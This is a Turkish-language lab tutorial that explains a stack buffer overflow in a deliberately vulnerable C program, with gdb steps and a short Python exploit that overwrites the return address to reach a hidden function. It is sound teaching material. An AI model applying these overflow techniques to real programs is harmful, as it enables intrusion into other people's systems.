Bu bölüm için hedefimiz programın akışını değiştirerek normalde
erişilemez olan cant_get_here
fonksiyonuna ulaşmak.
Bölüm için verilen C koduna baktığımız zaman güvenli olmayan scanf()
fonksiyonun 32 bytelık uzunluğa sahip bir karakter dizisine kullanıcı
girdisi kopyalamak için kullanıldığını görüyoruz:
char overflow[32];
...
// !! OVERFLOW HERE !!
scanf("%s", overflow);
scanf()
doğrudan %s
formatı ile kullanıldığında, (bir yolu olmadığı için) overflow
kontorlü yapmadığından kullanıcının 32 karakterdan daha uzun bir girdi sağlıyarak değeri
stack'te tutulan overflow
karakter dizisi üzerinden stack overflow zafiyetini exploit etmesi
mümkün.
Hadi öncellikle burda gerçekten de bir zafiyet olduğunu doğrulamak ile başlayalım. Bunu doğrulamak adına, programa uzun bir karakter çıktısı sağlayabiliriz:
python3 -c "print('A'*100)" | ./0x0.elf
Bu programın çökmesine, yani segmentation fault
a (segfault) neden olacaktır. Ama ne kadar
karakterden sonra programın çökmesine sebep olmaya başlayabiliriz?
Burda anlamamız gereken şey programın neden çöktüğü. Program stack üzerinde
kayıtlı olan dönüş adresinin üzerine yazdığımız zaman çöküyor. Çöktüğü noktada
main()
fonksiyonun dönüş yaptığı nokta. Bu noktaya geldiğimizde, program
stack üzerinde kayıtlı olan dönüş adresine gitmeye çalışıyor. Ancak dönüş adresi
artık tamamı ile anlamsız A harfleri ile dolduğundan hatalı bir adrese dönüyor ve
segmentation fault
hatası alıyoruz.
Bu bilgi ile aslında size neden aldığımız hatanın isminin segmentation fault
olduğunu
açıklayabilirim. Çalışma esnasında, kernel her program için sanal bir bellek oluşturur.
Program, kendine özel bu belleğin dışına erişmeye çalışınca, program kendine ayrılan
bellek bölgesinin dışına erişemiyeceğinden (bölge yani segment, isim burdan geliyor)
kernel programın bu davranışını raporlar, ardından da programı sonlandırır.
Bu sonlandırma işlemi için kernel programa ESEGV (11) sinyalini gönderir. Bunu kill -11 <pid>
komutu ile kendiniz de test edebilirsiniz.
Çok basit. 32 bytelık dizimizi zaten doldurmamız lazım, elde var 32. Return adresin üstünde
anlık içinde bulunduğumuz fonksiyonun stack adresini belirleyen rbp
(base pointer) var,
8 byte daha eklersek 40. Yani tekniken 40 karakterden sonra return adrese yazmaya başlayabiliriz.
İşte size bir soru! Programa tam olarak 40 karakterlik bir çıktı sağlarsak ne olur?
- A) Program sorunsuz şekilde çalışmaya devam eder
- B) Program çöker
- C) Öylesine okuyordunuz ve cevabı bilmiyorsunuz
Az önce söylediğime göre tekniken 40 karakterden sonra return adrese yazmaya başlayabiliriz değil mi? Evet bu doğru yani cevap A seçeneği... Ya da öyle mi? Eğer aşağıdaki komutu çalıştırırsanız yine de bir segfault alıcaksınız:
python3 -c "print('A'*40)" | ./0x0.elf
Çok ilginç... Peki Watson, bu nasıl oluyor?
Evet yukardaki şey hatalı değil, 40 karakterden sonra adrese yazmaya başlıyoruz. Ama sorun scanf()
fonksiyonun 40 karakter okumaması.
Eğer scanf()
fonksiyonun manual sayfasına bakarsanız, açıklamasında şunu görecekseniz:
The scanf() family of functions scans formatted input like sscanf(3)...
Ve eğer sscanf()
in manual sayfasına bakarsaksanız, %s
formatının nasıl çalıştığına bakabiliriz:
s Matches a sequence of non-white-space characters; the next pointer must be a pointer to the initial
element of a character array that is long enough to hold the input sequence and the terminating null
byte ('\0'), which is added automatically. The input string stops at white space or at the maximum
field width, whichever occurs first.
Yani scanf()
en sondaki yeni satır karakterini veya EOF'u (End-Of-File), \0
(0x00
) ile değiştiriyor.
Peki bunu neden yapıyor? C bilenleriniz çoktan durumu kavradı bile. C'de karakter dizilerinin
nerde bittiğini takip bir yolu olmadığından genel C fonksiyonları karakter dizeleri ile işlemlerini
\0
karakterine kadar yapıyor. C için \0
karakteri "hey karakter dizesinin sonuna geldik dostum" işareti gibi
birşey. O yüzden bu karakter null byte'ın yani sıra trailing null olarak da bilinir. Bu olaya da
genel olarak null termination denir.
Hadi sonucu gelelim. Biz 40 karakter girdiğimizde scanf()
aslında overflow
dizesine esktra bir \0
yazdığından totalde 41 karakter ile return adrese yazmış oluyoruz ve program çöküyor.
Anlaşılan gizemi çözdük Watson!
Hadi python ile basit bir PoC yazalım:
from struct import pack
filler = b"A"*40 # overflow[] + rsp
ret = b"N"*8
f = open("/tmp/ex", "wb")
f.write(filler+ret)
f.close()
Bu PoC basitçe dönüş adresini N
harfi ile (0x4e
) doldurmalı. Bunu test etmek
adına programımızı gdb'de açabiliriz.
Şimdi programı gdb ile başlatmak için
gdb ./0x0.elf
Hadi önce okunabilir olan intel assembly moduna geçelim:
set disassembly-flavor intel
Daha sonra gdb
'de scanf()
fonksiyonundan hemen sonraya bir breakpoint yerleştirebiliriz:
disassemble main
bu çıktıdan call ... <scanf...
den sonraki adresi bulun, ardından breakpoint
yerleştirmek için:
break *<adres>
Şimdi ise sıra programı /tmp/ex
girdisi ile çalıştırmakta:
run < /tmp/ex
Anında breakpointe varacağız, şimdi hadi stack'e bakalım:
x/24g $rsp
Aşağıdaki gibi bir çıktı görüyor olmanız lazım:
...: 0x4141414141414141 0x4141414141414141
...: 0x4141414141414141 0x4141414141414141
...: 0x4141414141414141 0x4e4e4e4e4e4e4e4e
0x4e
yi görüyor musunuz? İşte orası return adresin olduğu yerdi, üzerine yazmayı başardık!
Şidmi eğer programı çalıştırmaya devam ederseniz segfault alacağız:
c
Artık tüm konseptleri anladığımıza göre, işe yarar bir exploit yazabiliriz!
Şimdi programın akışını nasıl cant_get_here
fonksiyonuna çevireceğimizi
tahmin ettiğinizi düşünüyorum. Tek yapmamız gereken PoC exploitimizdeki ret
değişkenine
cant_get_here
'ın adresini vermek. Bu durumda program bu adrese dönüş yapıcak, biz de
hedefimize erişmiş olacağız.
cant_get_here
ın adresini bulmak için objdump
aracını kullanabiliriz:
objdump -d ./0x0.elf | grep cant_get_here
baştaki adresi kopyalıyalım, bunu pack
fonksiyonu ile exploitimize yerleştirebiliriz:
from struct import pack
filler = b"A"*40
ret = pack("<Q", 0x<adres>)
f = open("/tmp/ex", "wb")
f.write(filler+ret)
f.close()
pack
fonksiyonu little/big endian muhabbetini halletmemizi sağlıyor. İlk başta
verdiğimiz <Q
argümanındaki <
basitçe verinin little endian ile paketlenmesini söylerken
Q
verinin unsigned long long
olarak (8 byte) paketlenmesini söylüyor. Bu fonksiyon ve
argümanları hakkında daha fazla bilgi için struct
modülün dökümentasyonunu inceleyin.
Bunun ile beraber exploitimiz hazır, hadi deneyelim:
python3 exploit.py && cat /tmp/ex | ./0x0.elf
Alıcağınız çıktı şöyle birşey olmalı:
root@o101:~/0x0# cat /tmp/ex | ./0x0.elf
Hello, what's your name?
Nice to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF@!
How did we get here?
Segmentation fault (core dumped)
Ve başardık! cant_get_here
fonksiyonuna ulaştık.
Fakat program yine de çökücektir. Bunun sebebi cant_get_here
ın normalde başka bir fonksiyona ait olan
stack frame'ini kullanması. Bu sebeple cant_get_here
işini bitirdiğinde stack frame'i doğru şekilde
temizlenemiyor, ve return adresi tamamiyle rastgele bir adrese denk geliyor.
Ama bu bizim için önemli değil, sonuç olarak hedefmize ulaştık!